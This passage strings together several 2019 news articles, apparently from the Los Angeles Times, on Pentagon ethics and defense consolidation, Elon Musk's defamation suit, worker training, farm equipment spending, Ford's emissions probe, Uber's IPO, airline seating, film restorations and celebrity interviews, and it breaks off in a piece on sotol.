its competitors. We did not substantiate any of the allegations, the report said. We determined that Mr. Shanahan fully complied with his ethics agreements and his ethical obligations regarding Boeing and its competitors. Shanahan is considered a leading candidate for permanent Defense secretary. The question of possible favoritism toward Boeing had also been raised by some when the U.S. Air Force, in its 2020 budget, made a surprise request to purchase F-15X fighter jets, an update of that companys fourth-generation jet. The Air Force, Navy and Marine Corps have all made major commitments to the F-35, Lockheed Martins more advanced and pricier fifth-generation fighter. The inspector general report said the Pentagons mix of fourth- and fifth-generation aircraft was a decision made by former Defense Secretary James N. Mattis before Shanahans confirmation to the department. A Defense official told trade publication Defense News that the decision was bolstered by concerns about keeping multiple providers in the tactical aircraft portfolio. But there was no contract competition based on a set of defined requirements the way business typically works in the industry, said Richard Aboulafia, aviation analyst at market analysis firm Teal Group. Its a duopoly structure business with a lot at stake, he said of fast combat jet manufacturing. Its amazing that no one considered the optics here. In some cases, the military has encouraged monopolies. In 2006, Lockheed Martin and Boeing got government approval to form United Launch Alliance, a joint venture set up specifically to launch national security satellites. The venture was proposed after the companies argued there were not enough launches to sustain two competitors. The market is more concentrated, said Mandy Smithberger, director of the Center for Defense Information at the Project on Government Oversight, an independent watchdog group. You see the government making decisions thinking about how it will impact industry probably more than they should be. Still, when President Reagan was in office, there were a number of major manufacturers of tactical military jets Northrop Corp., Grumman Corp., Boeing, McDonnell Douglas, and General Dynamics, to name a few, Aboulafia said. But as the Cold War ended in the 1990s, defense funding dried up, leading to major aerospace mergers, such as Lockheed and Martin Marietta, and Boeings acquisition of Rockwell Internationals aerospace business and McDonnell Douglas. A push for commonality among the Pentagons planes also led to the fewer numbers of tactical military jets. The idea was that using similar aircraft would lead to savings in development and production costs, Andrew Hunter, director of the defense-industrial initiatives group at the Center for Strategic and International Studies think tank, said in an email. As a result, the share of federal defense contracts awarded to the top largest private companies increased to 31.3% in 2000 from 21.7% in 1990, according to a National Bureau of Economic Research working paper on the effect of 1990s-era defense industry consolidation. In 2017, the share of the top five reached 35%, according to federal data analyzed for that paper by Stanford University researchers. The paper concluded that those mergers resulted in a less competitive procurement process. But it did not find evidence of a significant increase in acquisition costs for large weapon systems, said Mark Duggan, director of the Stanford Institute for Economic Policy Research and co-author of the paper. As the industry gets more concentrated, it can lead to concern that theres only one or two potential contractors for a certain product, and then you may not get the kind of competitive outcome you want, he said. The consolidation process hasnt slowed, driven by the perceived need to compete for more and bigger contracts. Last year, Northrop Grumman Corp. acquired spacecraft and rocket motor manufacturer Orbital ATK Inc. Months later, military communications firms L3 Technologies Inc. and Harris Corp. announced their intent to merge. Although acquisitions and mergers can lead to greater efficiency, they can also have a detrimental effect on product innovation, said Aboulafia of Teal Group. For example, he said, as aircraft manufacturers consolidate, clean-sheet designs may be more of a rarity in the future as there are fewer design teams in the industry from different companies. For Boeing, in terms of designing a clean-sheet fighter jet, its been many, many, many years, he said. In 2017, Lockheed Martin won more than $50 billion in total federal contracting dollars, making the Bethesda, Md., company No. 1 on a list of the top 100 federal contractors, according to federal procurement data. Boeing was a distant second with more than $23 billion. When narrowed to weapon acquisition contract dollars in fiscal year 2017, Lockheed Martins individual piece of the pie totaled about 17%, with Boeing further behind at about 7.5%, according to federal data analyzed by the Center for Strategic and International Studies. News of the Defense Department ethics investigation came after watchdog group Citizens for Responsibility and Ethics in Washington sent a letter to the acting Defense Department inspector general, asking him to investigate allegations that Shanahan had boosted Boeing while working in the Pentagon. The letter includes a description from a Politico story published in January, in which Shanahan allegedly criticized Lockheed Martins work on the F-35 joint strike fighter program, saying it would be done much better if Boeing had won the contract. In that article, an unnamed former Pentagon official told the news organization that Shanahan said during a high-level meeting that Lockheed doesnt know how to run a program. The inspector generals report said none of the witnesses interviewed said they heard Shanahan praise Boeing in meetings or discussions or make disparaging remarks about Lockheed Martin. Shanahan told the inspector generals team that he had never praised a Boeing military product and that he had said program management on the F-35 is inadequate. Shanahans Boeing career spanned more than 30 years, during which he led its missile defense systems and military helicopter units. He also served as senior vice president of the companys commercial airplane division and is known for his work on Boeings 787 Dreamliner program, which was behind schedule when he first took the helm. Boeing declined to comment this month on the initiation of the ethics investigation. The company referred to a statement it made in January, saying Boeing officials had not spoken to Shanahan about its programs during his entire Pentagon tenure and that the company adheres to and respects Acting Secretary Shanahans decision to recuse himself from company matters. Shanahan isnt the first industry executive to lead the Defense Department. Under President Eisenhower, Defense Secretary Charles Wilson joined the Pentagon after serving as chief executive of General Motors, which made military vehicles at the time. Other defense industry brass have also joined the Pentagon over the years, though in lower roles. Analysts say the Pentagon could benefit from having a leader who understands how industry works, and who has been on the other side of the negotiating table and can avoid being tricked. And the Defense secretary typically works less with industry representatives than deputies do. Secretaries arent making a lot of decisions on individual contracts, Smithberger said. Theyre setting the priorities for the department. But the potential conflicts may be hard to escape, said Loren Thompson, defense analyst at the Lexington Institute think tank, which receives funding from both Boeing and Lockheed Martin. Boeing is so big that almost every discussion of strategy, budgets or programs bears upon its interests, he said. Elon Musk cant duck behind an imaginative insult defense to escape a lawsuit by a British cave rescuer who took offense at being called a pedo guy after he had ridiculed Musks mini-submarine. A federal judge in Los Angeles on Friday denied the Tesla Inc. chief executive officers request to dismiss Vernon Unsworths defamation complaint. The judge said a written ruling explaining his order will come later. The spat with Unsworth erupted after the caver criticized the mini-submarine Musk had built to assist in the rescue of a group of Thai boys that were trapped in a flooded cave last year. Unsworth said in a CNN interview that the mini-submarine, which wasnt used in the rescue, was a p.r. stunt and that Musk could stick his submarine where it hurts. Musks tweeting habits, particularly regarding Teslas business, have landed him in hot water with investors and the Securities and Exchange Commission. Under a settlement with the SEC last year, hes supposed to have the company oversee his Tesla-related tweets that could influence the market. Advertisement A February tweet about 2019 Tesla deliveries prompted the SEC to go to court to accuse Musk of violating the agreement. Musk and the SEC on Friday agreed anew to settle the dispute. John Hueston, a lawyer for Musk, didnt immediately respond to a request for comment on the ruling. Youd need a cast of thousands to reenact Black Friday at a Walmart store, so virtual reality comes in handy at the companys training centers. Employees get to experience a shopper stampede on their headsets, part of a widening national effort that encompasses some 7,000 workers a week. The retail giant isnt alone. From hotels to fast-food chains, employers in service industries are setting up training programs or revamping the ones they have. Thats what is supposed to happen in a tight labor market, a description that fits the U.S., where unemployment is at a 49-year low. Since theres competition over a limited number of workers, companies have to lower requirements at the entry level then spend more time and money training the people they hire. If youre in a relatively low-wage labor market in the service sector say Starbucks, Walmart, McDonalds notice that they all have training programs now, said Anthony Carnevale, director of the Georgetown University Center on Education and the Workforce. Its one of the things that a healthy economy encourages. Advertisement Theres a shortage of data on workplace education because the Bureau of Labor Statistics hasnt surveyed the topic for more than 10 years. Still, something seems to be stirring. One reason may be that technology is lowering the cost of training. Theyre far more willing to spend money on technology and software to train people than they are to hire trainers, said Peter Cappelli, director of the Center for Human Resources at the University of Pennsylvanias business school. Thats an opportunity for start-ups like 4-year-old Strivr, which designs VR programs to simulate Black Friday at Walmart or an attempted robbery at a Verizon store. Strivr Chief Executive Derek Belch described how one of his modules is used at low-cost airline JetBlue to teach staff members how to do a quick walkaround cabin inspection between flights. Its hard to do that on an actual plane, he says, because it has to go fly in 20 minutes. Without virtual reality, the carrier would have to rent a plane for training or pay overtime to do it late at night. On top of in-house education, companies such as JetBlue, Walmart and Chipotle offer programs that link up to college credits, and theyve stepped up tuition reimbursement plans. Walmart employees can pursue an associate or bachelors degree at three nonprofit schools for $1 a day. Kourtney Miller, 29, signed up after eight years at the retailer and said shes started getting inquiries from colleagues. One question that often gets asked, she said, is: Theyre saying its a dollar a day. Is it true? Such programs can go at least some of the way to redressing an imbalance in training, Georgetowns Carnevale said: It tends to be the more educated and higher-skilled workers who get more of it and who then get paid better as a result. Less-qualified employees risk getting excluded, and Carnevale said women have historically benefited less than men, too. One objection to training that keeps resurfacing among employers is: What if workers pocket the new skills and take them elsewhere? They thought they could hire the people with talent, rather than having to develop it internally, Cappelli said. The tighter the labor market gets, the less force that argument carries. Some companies like JetBlue still require some kind of no-quit commitment from staff members who participate in college programs. Others dont. If employees gain a degree, they can use that at Walmart, hopefully, said Drew Holler, senior vice president at the retailer. Or they can go use that somewhere else. Walmarts initiative is fairly new, but JetBlue and Chipotle said internal surveys show an increased commitment to the company among student-employees who enroll. Although workforce training may have picked up lately, it remains much less widespread than it used to be, said Brad Markell, executive director of the Industrial Union Council at Americas biggest labor group, the AFL-CIO. Companies just dont train like they used to, he said. Cappelli agreed that there was probably a lot more help on offer from employers 30 years ago. And he said college-linked programs shouldnt be exaggerated either: Theyre often limited in scope, offering only online classes or restricting students to a single course. Still, employers arent claiming that this is all about building American skills, he said. Theyre trying to do it to build the workforce that they need right now. And thats OK. Hagan and Edwards write for Bloomberg. Purchases of farm equipment plunged by an annualized $900 million in the first quarter of the year, the sharpest drop in three years, as U.S. producers struggle with falling commodity prices and the fallout of President Trumps trade wars. The Commerce Department cited the drop in agricultural machinery purchases as a contributor to the paltry 0.2% quarterly rise in overall business spending on equipment, also the weakest performance since 2016. The softness in the category came despite promises by Trump and Republican leaders that tax breaks for equipment purchases in the partys signature tax law would boost investment by farmers and manufacturers. The reluctance of farmers and other business owners to invest in equipment flashed a cautionary signal in a report on the U.S. economy that overall surprised forecasters with stronger-than-expected results. The Commerce Department reported Friday that U.S. growth accelerated to an annualized 3.2% rate in the first quarter. The fresh signs of financial pressure on farmers, tractor dealers and the other suppliers that support them underscore the rising political danger the trade war presents to Trump as a negotiating team heads to Beijing next week for another round of trade talks. Lopsided support from rural areas was a key driver for Trumps narrow 2016 victory over Hillary Clinton. Advertisement The economic squeeze on U.S. producers is tightening after six years of decline in U.S. farm profits, which fell last year to $69.4 billion, half of the $136.1 billion in 2013. Prices of key commodities such as corn and soybeans have declined while the Trump administrations immigration crackdown has cut into migrant labor. Midwestern states were also hit with historic floods this spring. The trade war struck another blow, as key importers of U.S. agricultural products such as China, Canada and Mexico have retaliated against Trumps tariffs with duties targeting American farmers. Brent Norwood, manager of investor relations for Deere & Co., pointed to the trade war in a Feb. 15 call to discuss the Moline, Ill., agricultural machinery manufacturers earnings. U.S. farmer sentiment remains fluid and continues to erode the longer trade uncertainty persists, Norwood said. That, he added, has resulted in some U.S. farmers temporarily pausing equipment investment decisions. Ford Motor Co. said Friday that the Justice Department has opened a criminal investigation into its U.S. emissions certification process. The automaker said in a regulatory filing that the matter currently focuses on issues relating to road load estimations, including analytical modeling and coastdown testing. In September, a group of employees reported possible problems with a mathematical model used to calculate pollution and mileage, prompting Ford to hire an outside firm to run tests. And in February, Ford launched an investigation into whether it overstated gas mileage and understated emissions from a wide range of vehicles. Ford voluntarily disclosed the matter to the U.S. Environmental Protection Agency and the California Air Resources Board in February. It has also notified a number of other state and federal agencies. Advertisement Ford said Friday its fully cooperating with all government agencies. The investigation makes Ford at least the third major automaker to be the focus of U.S. scrutiny over emissions in the span of a few years. Volkswagen paid a $4.3-billion penalty in 2017 for misleading regulators and customers about its diesel engines emissions. Fiat Chrysler Automobiles, which last month recalled almost 863,000 vehicles that violate pollution standards, faces a criminal investigation, Bloomberg News has reported. Bloomberg contributed to this report. Uber Technologies Inc. is aiming for a valuation of about $80 billion to $90 billion in its initial public offering, an amount just above Ubers last private funding round but below earlier targets, according to people familiar with the matter. The ride-hailing company is planning to start marketing shares to potential investors in a price range of about $44 to $50 each, said the people, who asked not to be identified because the matter isnt public. Uber could aim to raise about $8 billion to $10 billion in the listing, though the final details of the pricing may still change, the people said. At the lower end of the range the price would value Uber just above its last private funding round, in which Toyota Motor Corp. invested at a valuation of about $76 billion. Uber is taking a conservative approach to its valuation and could later raise the price depending on investor demand, the people said. Last year, bankers jockeying to lead the offering told Uber it could be valued at as much as $120 billion in an IPO. Advertisement The Wall Street Journal had previously reported that Uber gave documentation to its convertible notes holders suggesting a price of $48 to $55 a share, or a valuation of about $90 billion to $100 billion. Some recent big listings by technology unicorns have seen valuations come back down to earth after years of access to huge pools of private capital. Shares of Lyft Inc., which made its market debut in March at a $20.5-billion valuation, have since dropped 22% to well below their IPO price. Ubers ride-hailing rival had a market value of $16.1 billion as of Thursday, much closer to its last private funding round at $15.1 billion. Pinterest Inc., meanwhile, has seen its shares soar since it priced its April 17 IPO below the last private valuation of $12.3 billion. The stock closed 52% above its trading debut Thursday at $28.80, valuing the digital image sharing company at $15.2 billion. Uber is expected to set the terms for its IPO as soon as Friday before heading out on a road show to market the stock to potential investors, the people said. Morgan Stanley, Goldman Sachs Group Inc. and Bank of America Corp. are leading the offering. A spokesman for Uber declined to comment. An $8-billion offering would be more than three times Lyfts $2.34-billion IPO, the worlds biggest listing so far this year, according to data compiled by Bloomberg. It would rank Ubers IPO as the ninth-largest on a U.S. exchange and the biggest since Alibaba Group Holding Ltd.s record $25-billion listing in 2014. Money-losing Uber is one of a swarm of tech-related companies that have gone public this year or are considering it. Alongside Pinterest, Zoom Video Communications Inc. made its trading debut this month. Other high-profile start-ups looking to go public include Slack Technologies Inc., Postmates Inc., Palantir Technologies Inc. and Airbnb Inc. In its initial IPO filing, Uber revealed an operating loss of $3 billion in 2018, bringing its total operating losses over the last three years to more than $10 billion. The San Francisco company is planning to pitch itself to possible investors as a global transportation platform, people familiar with the matter have said, building new demand for everything from scooters and bicycles to freight and food delivery. News this week that Delta Air Lines is testing seats that recline even less should be sufficient to confirm airline passengers fears that things will only get worse before they get, almost certainly, worse. But give Delta this much credit: At least theyre still providing seats. A glimpse of how bad things really could get was provided the other day at the Aircraft Interiors Expo 2019 trade show in Hamburg, Germany. The event featured plenty of innovations intended to make air travel more comfortable for those who can afford top-dollar trimmings, including first-class and business-class seats with lots of amenities. Advertisement And then there was the Italian seat manufacturer Aviointeriors, which displayed the latest iteration of its Skyrider standing seat. Its an idea that the company unveiled about a decade ago and keeps refining to make it more appealing to airlines. Imagine a bicycle seat with a lightly padded, upright piece of plastic to lean against. Thats pretty much the Skyrider, which Aviointeriors is hoping will be the hot ticket for carriers looking to cram even more seats into economy-class cabins, particularly for shorter flights. Skyrider is concept foundation of new way to travel in the short-haul routes, the company declares in passable English on its website. Innovation is driving Aviointeriors in developing a new concept of a family of economy seats. I reached out to Aviointeriors by email to see what kind of interest airlines have shown to the Skyrider and whether any orders have been received. I didnt get a response. But considering that Aviointeriors has been steadily tweaking the design to meet carrier and regulatory requirements, Im figuring theyre serious about getting this product into the aviation marketplace. Which makes me comfortable and thats not a word that otherwise applies to this column in believing its just a matter of time before we start seeing, if not the Skyrider, then some other variation on a bare-bones, torture-chamber apparatus that will be passed off as a boon to budget-minded passengers. I have no doubt at all, agreed Kate Hanni, founder of FlyersRights.org, an advocacy group. If the airlines can get away with shoving more seats onto a flight, theyll do it. As for Skyrider seats, she said, there has to be interest among airlines. Theres no way theyre not interested in something like this. In Deltas case, the airline is testing reduced-recline seats on its entire A320 fleet. The idea, Delta insists, isnt to squeeze more seats into the economy cabin. Its all about protecting customers personal space and minimizing disruptions to multitasking in-flight. Savannah Huddleston, a company spokeswoman, said in a statement. What she means by that positive-sounding sentiment is that by restricting how far seats can lean back, youre protecting what little space each person has, so passengers can type on a laptop, or read a book, and not have the seat in front of them touching their chin. Huddleston said limiting how far seats can go back is part of Deltas continued efforts to make the in-flight experience more enjoyable. This is what its come to: Making everyone largely immobile so as not to infringe on what little room each passenger is given. Thats the new definition of more enjoyable air travel. When discussing airline seats, its all about pitch. Thats the distance from a point on one seat to the same point on the seat before it. This is what defines not just the space in front of your torso but also how much (or little) legroom youre allotted. Many carriers strive for an economy-class seat pitch of 29 to 32 inches. The pitch of the Skyrider is wait for it 23 inches. Marcia Alexander-Adams, a spokeswoman for the Federal Aviation Administration, told me she couldnt comment on specific seat designs. But in general, she said, any seat design must meet the applicable FAA certification regulations. Those regulations include a number of safety-related standards, such as seats being designed so that a person making proper use of these facilities will not suffer serious injury in an emergency landing, and so there will be no injurious object within striking radius of the head. What the regulations dont include is any minimums for seat size or pitch no requirement that a seat be wide enough to accommodate an ordinary human, no requirement for enough legroom to prevent acts of contortion. In other words, airline seats can be as existentially challenging as a carrier wants, depending on its levels of greed and sadism. As best as I can tell, they dont even have to be seats, which is good news for Aviointeriors and its Skyrider bicycle saddles. The regs refer to berths, which introduces an element of ambiguity to the definition of what youll be strapped to. At the Hamburg expo, Aviointeriors also was promoting what it calls its ESP seats, as in economy slim platform. These are more like traditional seats in that they have, you know, actual seats. But otherwise theyre about as minimalist an experience as you can imagine. Aviointeriors says online that the ESP seats meet the best space exploitation international standards, which is a fancy way of saying, Heres how you can really pack em in. Yet, incredibly, these arent the worst seating arrangements under consideration. Conde Nast Traveler recently rounded up patents filed for truly grisly airline experiences. These include: A proposal from Airbus, the European aviation powerhouse, for a bike saddle-style contraption that looks more like playground equipment than an airline seat. The patent acknowledges that even though this setup accommodates more people, this increase in the number of seats is achieved to the detriment of the comfort of the passengers. Another idea from Airbus that stacks passengers bunk-bed-style bottom seats and top seats. This has the virtue of allowing you to get twice as many people into roughly the same amount of space. And my particular favorite from Zodiac Seats France, boasting a hexagonal design that alternates forward-facing seats with rear-facing seats, thus creating, perhaps deliberately, the precise sensation of a can of sardines. Delta, by comparison, deserves a prize for humanitarianism. As for the FAA seriously, guys? Make a seat-size rule already and put an end to this madness. Otherwise, Skyriders for you all. David Lazarus column runs Tuesdays and Fridays. He also can be seen daily on KTLA-TV Channel 5 and followed on Twitter @Davidlaz. Send your tips or feedback to david.lazarus@latimes.com. Its not as if Eric McCormack hadnt been keeping busy since his now-iconic sitcom, Will and Grace ended its initial run in 2006. The Emmy winner (and four-time nominee) racked up around 30 film, television and stage credits, including toplining several series. But when the clarion call of the 2018 reboot/revival/resurrection sounded, it was too much to resist. After all, its not often one gets to be part of something with actual cultural significance. WATCH: 2019 Emmy Contenders video chats I think if wed come out of the gate in 98 saying, Yeah, were a Must-See TV sitcom, but were culturally important! I mean, it would have lasted six weeks, McCormack said during an Emmy Contenders chat in the Los Angeles Times video studio. Advertisement What we did was just fit into that scheme of things we kind of snuck in and just did our thing and we were funny, and eventually it started to matter to people that we hadnt caused a big stir one way or the other. That [gay characters] Jack and Will were just like other characters on television. And I think that was the subversive thing that we accomplished. Perhaps the shows impact wasnt the kind of stir visible on the surface, but more the agitation underneath that causes waves. The sitcoms positive effect on the American publics perception of LGBTQ people and issues has been praised by many, including former Vice President Joe Biden. The show is even honored in a display in the Smithsonian Institution. McCormack says, The number of generations that have come up to me just in the last 20 years and said, This helped me from guys who are in their 60s, to guys in their late 30s, to teens coming up who have said theyve started watching the revival and said its made the dialogue easier with their parents, its kind of amazing. Will & Graces Eric McCormack talks about the impact the show had when it originally premiered in the late 90s. McCormack acknowledges that part of the charm of the 10-years-later series is that the characters dont seem to have significantly changed. Theres more wear on the tires, but their relationships and foibles are largely the same. On the inside, however, evolution is occurring. Thats the advantage of characters who not only last for a while on television, but actually have aged, he says. Rather than the fear of Oh, can these characters be funny in their [fake-coughs] late 40s ... the weight, the emotional weight that theyve gained with each other and the lives that theyve led 10 years of which were off screen I think brings the show a whole different level of sincerity and seriousness. One of the challenges in the original run, says McCormack, was making the ongoing roomate-de facto marriage relationship of McCormacks Will and Grace (played by Debra Messing) not seem pathetic for two attractive, successful people in their 30s. The show had them getting in and out of relationships even marriages every few weeks: Its what you do when you have eight seasons of a show. Now, to come back, we had to have a new way of looking at it. The way I looked at it was, They did go off, they did find love, they had 10 years of whatever, and they both found their way back to each other. So there was a new level of saying, Isnt this great that love can come and go, and relationships can fail, but that key friendship in your life will always be there for you. It seemed not pathetic, but a really strong declaration of the strength of friendship, he says. So I think what changed about him is less societal fear of Im defined by singlehood or relationship. The revival/continuation of the show has been successful enough to earn a renewal for a third season. And while the series changes have been slow and subtle, they havent gone unnoticed. For the first season, when people would approach me on the street, the common response was You havent changed a bit, or Its like you didnt go anywhere, It was yesterday, that kind of thing its the same show, says the actor. And then, over the course of the second season, I started to hear more, Its not the same show, its better. Its deeper. Again, I can only [attribute] that to weve got less to lose. Its a second lease on life. A couple gets divorced and remarries, whats that like, whats that second time around like? We have the full benefit of hindsight. To see the full conversation, watch the video below. The uncut version of Francesco Rosis Christ Stopped at Eboli was among the first films that Bruce Goldstein went looking for in 1997, after he founded the arthouse re-distribution company Rialto Pictures. It might not have been the Holy Grail, exactly, but it was nowhere to be found. We had a meeting with the Italian company RAI, which had produced the four-hour TV version, said Goldstein, who is also the longtime repertory programmer at Manhattans Film Forum. And the guy there said, Well we have Eboli, but we dont have that version. They had a two-hour version. And a 2 1/2-hour version. But not the four-part version. I said, Thats crazy. How is that possible? It was possible, but Goldsteins instincts were sound the film is opening, or rather re-opening, this Friday in Los Angeles, almost 30 years after Goldstein showed the uncut, 3 hour, 40 minute version at New Yorks long-gone Thalia theater back in 1980. We never did runs, the most we played a film was two days, he said. [Eboli] was packed. It was on 35mm. We got lots of publicity. And it was the only time I ever had to set up a screening for Pauline Kael. She probably had us cater it too. Advertisement Christ Stopped at Eboli in its original unabridged form was finally discovered by Goldsteins Rialto partner, Adrienne Halpern, among the holdings of another company entirely. The complete film bore the abbreviated title Eboli. REVIEW: Christ Stopped at Eboli is classic Italian cinema at its finest A scene from Francesco Rosis 1979 film, Christ Stopped at Eboli. (Rialto Pictures) Based on the best-selling 1945 memoir by Carlo Levi, its a story with little to do with Jesus, and nothing to do with Eboli: A writer, painter and activist, Levi was arrested in 1935 for his involvement with anti-fascist movements and exiled to Aliano (Gagliano in the book), a town in a remote region on the instep of Italy, called Lucania (now Basilicata). As an internal political prisoner under Mussolini, hed been banished to a town whose own people would call it too remote for Christ a.k.a., western religion, or civilization, or even history itself. The portrait of the village in which Levi (played in the film by Gian Maria Volonte) spends his year in exile is of a people possessed by primitive values and virtues, but who also live in the grip of grinding poverty, superstition and fear. The heart of the movie is their relationship with the cultivated Levi who, having also trained as a physician, reluctantly begins to practice in the village. The reason Ive been after it so long is that when I first saw it, I was so moved by it, said Goldstein. Its a very good adaptation of the book which has never been out of print. As part of the digital restoration by Rialto, the subtitles have been redone with the assistance of Michael F. Moore, who had been, coincidentally, a translator for Francesco Rosi. The director, who died in 2015, was among a generation of Italian auteurs that included Pier Paolo Pasolini, Ettore Scola, Gillo Pontecorvo and the Taviani brothers, Paolo and Vittorio. Having absorbed the social-documentary style of Italian neorealism, which flourished immediately after World War II, they created a highly politicized post-neorealist Italian cinema in the 1960s and 70s. Salvatore Giuliano is often cited as Rosis masterpiece; his films won prizes at the Venice, Cannes and Berlin film festivals, among others. Gian Maria Volonte, left, and Irene Papas in Christ Stopped at Eboli. (Rialto Pictures) He was one of the great directors, and I dont say that just because I got to work with him, said John Turturro, who played another Levi, Primo, in Rosis last film, The Truce (1997). The actor said he had seen the shorter versions of Christ Stopped at Eboli, but was at Film Forum the first afternoon the full version played. I told everyone I knew to go see it. You dont see a lot of films like this, and to see it on a big screen wow, said Turturro. Francesco actually came from a bourgeois Neapolitan family, but he made all these movies Salvatore Giuliano, for instance that really influenced people like Scorsese and even Oliver Stone, because Rosi invented that docu-drama style. He said Rosi recalled that he and his cast and crew including Volonte, with whom he worked five times had to travel two hours each way during the shooting of the film because there was simply no hotel anywhere closer. Things have changed a lot since: The whole region has become something of a tourist destination and Matera the closest city to Gagliano and the one to which the villagers refer in the film is this years European Capital of Culture. Its unbelievable timing for us, Goldstein said, never minding a search that went on for 20-plus years. calendar@latimes.com Flash Chinese President Xi Jinping on Thursday met with Egyptian President Abdel-Fattah al-Sisi, who is in Beijing to attend the Second Belt and Road Forum for International Cooperation. As Egypt is the rotating chair of the African Union, President Sisi's attendance at the forum not only reflected Egypt's sincere involvement in the Belt and Road Initiative (BRI), but also represented the common wish of African countries for win-win progress and common development, Xi said. Xi called on the two sides to strengthen political mutual trust, and continue to support and coordinate with each other on issues involving respective core interests and major concerns. While highlighting China's willingness to participate in the Suez Canal Corridor development plan, Xi also said that the two sides should deepen anti-terror and security cooperation and continue to enhance people-to-people and cultural exchanges. China supports Africa's integration progress, and is willing to work with Egypt to jointly enhance infrastructure construction in Africa, Xi said. Sisi said that Egypt is willing to learn from China's successful experience in development, align the country's development plan with the BRI, and deepen cooperation in a wide range of fields. Egypt appreciates China's efforts in upholding justice in the Middle East issue, and hopes China will continue to play a constructive role, he said. Kevin Brownlow has been the voice for silent films and their preservation and restoration for six decades. In fact, the 80-year-old British filmmaker, historian and author earned an honorary Oscar for his work in 2010. Brownlow, who began collecting silent films at age 11, has written acclaimed film books including The Parades Gone By (1968); Hollywood: The Pioneers (1979); and The Search for Charlie Chaplin (2005). He also directed two feature films with Andrew Mollo, It Happened Here (1964) and Winstanley (1975). In 1980, he and David Gill produced and directed the landmark 13-part TV series Hollywood. Other documentaries from the pair include The Unknown Chaplin (1983) and Harold Lloyd: The Third Genius (1990). His most recent documentaries include Garbo (2005). Film legend Greta Garbo, pictured n the 1931 film Susan Lenox (Her Rise and Fall) was the subject of the TCM documentary special Garbo from veteran British documentarian Kevin Brownlow. (Turner Classic Movies) Advertisement Among the countless silent movies hes restored are Abel Gances 1927 epic Napoleon, the 1925 Ben-Hur: A Tale of the Christ and 1927s Sunrise: A Song of Two Humans. The sweet, Mr. Chips-esque Brownlow was in Los Angeles earlier this month for the TCM Classic Film Festival to receive the second annual Robert Osborne Award for his work preserving and restoring films. TCM screened It Happened Here and his restoration of the 1928 Greta Garbo-John Gilbert romance A Woman of Affairs, complete with Carl Davis conducting a full orchestra in his original score for the silent classic. Before the festival, Brownlow sat down to talk about his lifelong love affair with silent films at appropriately enough the Gable & Lombard suite at the Hollywood Roosevelt. Q: What are your feelings about digital restoration versus photochemical restoration? A: I was bitterly opposed to it until I did the digital work on Napoleon and it looked absolutely terrific. One forgets how many times people have come up to me to say that film has changed my life. Q: Almost three-quarters of all silent films are considered lost. But I imagine you have a list of films youd love to find and restore. A: Well, I can give you 17 pages closely typed, but one that stands out is called Hollywood. Made in 1923 with a new un-tried girl in the lead with a wonderful name of Hope Drown. And it had everybody in Hollywood in it. Q: Carl Davis composes the wonderful scores for your silent film restorations. But I cant tell you how many times Ive heard inappropriate scores that ruin silent movies. A: I think the modern enemy of silent films is music from modern composers who have no sympathy for the film at all. I saw The Four Horseman of the Apocalypse in Paris with a band theyd picked up off the street, and it was just unbearable. Q: Is it harder to get younger people interested in silent movies today? A: Because the National Film Theatre [in London] has cut back on silent films, its fallen to an organization at the Cinema Museum, which, oddly enough, was the workhouse where the Chaplin family was incarcerated every so often. And the young people who come to that are extremely enthusiastic. When sound came in, there was a danger that people would watch a few sound films and want to go back to silent. So producers took very, very primitive [silent] pictures, ran them too fast with honky-tonk music. As a result, that generation, the World War II generation., absolutely hated silent films. What is so fascinating is that there isnt that prejudice against them anymore. In my youth people would say, Oh, stay away from silent pictures; theyre so badly made, the photography is terrible, and the acting is ridiculous. Director Abel Gance, left, director of the epic Napoleon, with Kevin Brownlow in 1967. Brownlow began hunting for lost footage when still a schoolboy in the 1950s. (Photoplay Productions) Q: I read that your boarding school was so awful that one way to keep students from running away was to show silent films. A:This place was like Colditz. Im not exaggerating when I tell you the boys escaped; they had to be rounded up by tradesmens vans going all over the countryside. The only decent thing the headmaster did was to show us films every third Sunday in the winter in the cold chapel. I think what attracted me first was the fact that you could put a cinema, which I thought had to be a gigantic bunker in the high street, in your own home, and that transformed things for me. I begged my parents to give me a projector, and indeed they did, that same Christmas. But because they misunderstood, they gave me a still projector. But then next Christmas, I got a hand-crank projector and two films. It wasnt enough, of course. I wanted some more, and I went out into the streets of London. I tracked down a photographic shop off Baker Street with a little pile of these films, which were in metal cases. I took them home, and I didnt know what on earth they were. The first one I ran was missing a main title. I put it on, and my mother said, Thats Douglas Fairbanks, her favorite actor. Even Id heard of that name, and I remember rushing off to the library to look up and see if I could find more information on it. Anyway, I thought what would happen was I would pull out a book from the library, it would fall open at a picture of my film, and thats exactly what happened. I went to the library and this one book, History of the Film, fell open at a picture and gave its proper title, American Aristocracy. I just had discovered the British Film Institute, found the full cast of this film. The villain was [played by] Albert Parker, so I rang him up and said, Does the name Douglas Fairbanks mean anything? And he said, Doug? Jesus Christ, I directed him. So, I said, Oh, what did you direct? He said, The Black Pirate. John Gilbert, Lillian Gish and director King Vidor on the set of La Boheme (1926). The film was featured in Hollywood a 13-part TV series about the world of American silent film written, produced and directed by Kevin Brownlow and David Gill. (Turner Broadcasting System) Q: Oh, my God. A: My words exactly. I told him about this little film and he said, Bring it over. And he was so entranced to see himself in 1916, so he and he wife organized an evening for his clients because he was an agent. So we got Trevor Howard, Clive Brook, Hardy Kruger. Parker was very friendly and warm. We had dinner after dinner after dinner. It became a thing of silent films at Al Parkers, and visiting American filmmakers would be invited. It was fantastic. Then hed ring me up and say, Kevin, King Vidor is at the Hyde Park Hotel. Tell him I sent you. Q: So thats how you began interviewing all of those legends of the silent screen. A: I took a huge tape recorder the size of that chair to the Hyde Park Hotel, and King Vidor described the making of The Big Parade. I will never forget what he said about his directing style: I didnt actually say very much, but I felt it and Ive realized that they were doing what I thought. Osmosis, you know. And Id think something, and John Gilbert would react a few moments later. Q: Im jealous that you were friends with Harold Lloyd and visited him at his famous mansion, Greenacres. A: Harold opened the doors of Greenacres and said, Only 42 rooms, but its home! calendar@latimes.com In Madera, a mountain town in the Mexican state of Chihuahua, Bienvenido Fernandez pours freshly distilled sotol between two cow horns. He examines the tiny bubbles, or pearls, that materialize to determine the alcohol level. The spirit is just right when it contains between 45% and 50% ABV. If I make it any lower, the neighbors tell me its water, Fernandez says with a laugh. As awareness of different agave distillations, from bacanora to raicilla, is slowly growing, its easy to assume that sotol, with its depth of aroma and flavor, is simply another mezcal relative. And though sotol is growing in demand it can be found at the likes of New Yorks Cosme and Los Angeles Salazar it is made from a different plant altogether, one of 16 species of the Dasylirion genus. The plant and the spirit it yields are both called sotol. (Los Angeles Times) At Fernandezs vinata, or distillery, a smoky, sweet smell fills the air from the cooking and fermentation process taking place out 